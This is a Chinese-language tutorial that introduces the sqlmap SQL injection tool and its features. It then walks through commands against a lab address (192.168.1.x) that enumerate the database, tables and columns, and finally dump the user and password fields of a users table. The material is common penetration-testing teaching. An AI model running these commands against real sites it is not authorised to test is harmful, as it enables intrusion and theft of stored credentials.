一、sqlmap是什么,具有什么特点?
sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:
完全支持MySQL、Oracle、PostgreSQL、Microsoft SQLServer、Microsoft Acess、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和informix等多种数据库管理系统。
完全支持布尔型盲注、时间盲注、基于错误信息的注入、联合查询注入和堆查询注入。
在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
支持自动识别密码哈希格式并通过字典破解密码哈希
支持完全下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载一列中的部分数据,这完全取决于用户的选择。
支持在数据库管理系统中搜集指定的数据库名、表名或列名
当数据库管理系统是MySQL、PostgreSQL或Microsofe SQLServer时支持下载或上传文件
当数据库管理系统是MySQL、PostgreSQL或Microsofe SQLServer时执行任意命令并回显标准输出
二、简单了解sql注入
1. SQL注入是什么
通过SQL命令插入到Web表单提交或输入域名或页面请求的查询字符,最终达到欺骗服务器执行恶意的SQL命令。其主要原因时程序没有细致地过滤用户输入的数据,导致非法数据侵入系统。
2.使用sqlmap进行简单注入操作
测地址试:http://192.168.1.5/727/index.php?id=1
具体步骤:
查看是否存在sql注入
sqlmap.py -u http://192.168.1.5/727/index.php?id=1
列出当前使用的库
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 --current-db
现在我们拿到了所使用的库为jokedb,然后由此拿到库中的表名
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb --tables
拿到表名后,就可以对他的字段进行测试
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users --columns
最后一步查看表中的数据
sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users -C user,pass --dump